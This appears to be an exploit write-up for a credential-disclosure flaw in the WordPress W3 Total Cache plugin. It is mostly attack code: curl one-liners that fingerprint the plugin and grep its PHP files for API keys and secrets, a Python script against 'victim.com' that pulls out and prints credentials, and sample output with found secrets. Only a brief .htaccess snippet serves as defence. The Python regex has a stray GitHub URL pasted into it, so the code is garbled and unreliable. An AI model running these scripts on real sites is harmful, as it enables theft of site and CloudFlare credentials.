/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php
/wp-content/plugins/w3-total-cache/Extension_FeedBurner_Plugin.php
/wp-content/plugins/w3-total-cache/Config.php
/wp-content/plugins/w3-total-cache/Cache_File.php

# 检查是否安装了 W3 Total Cache
curl -s https://target.com/ | grep "w3-total-cache"

# 提取 CloudFlare 凭据
curl -s "https://target.com/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php" | grep -E "client_id|client_secret"

# 搜索所有易受攻击的文件
for file in Extension_CloudFlare_Plugin.php Generic_Plugin_Admin.php Config.php; do
    echo "=== $file ==="
    curl -s "https://target.com/wp-content/plugins/w3-total-cache/$file" | grep -E "api_key|password|secret"
done

#!/usr/bin/env python3
import requests
import re

target = "https://victim.com"
files = [
    "/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php",
    "/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php"
]

for file in files:
    response = requests.get(target + file)
    credentials = re.findall(r"(api_key|client_secret|password)\s*=\s*['\"](https://github.com/enzocipher/cve-2023-5359/blob/HEAD/%5B%5E%27%5C%22%5D+)", response.text)
    if credentials:
        print(f"[!] Credentials found in {file}:")
        for key, value in credentials:
            print(f"    {key}: {value}")

# .htaccess 保护
<Files *.php>
    Deny from all
</Files>
<Files "w3-total-cache.php">
    Allow from all
</Files>

# 检查是否存在易受攻击的版本
curl -s https://target.com/wp-content/plugins/w3-total-cache/w3-total-cache.php | grep "Version"

[*] 扫描: https://example.com
[+] 检测到 W3 Total Cache
[+] 可访问文件: /wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
[!] 发现凭据:
    client_id: GAxxxxxxxxxxxx78
    client_secret: ABcdEFghIJklMNopQRstUVwxYZ012345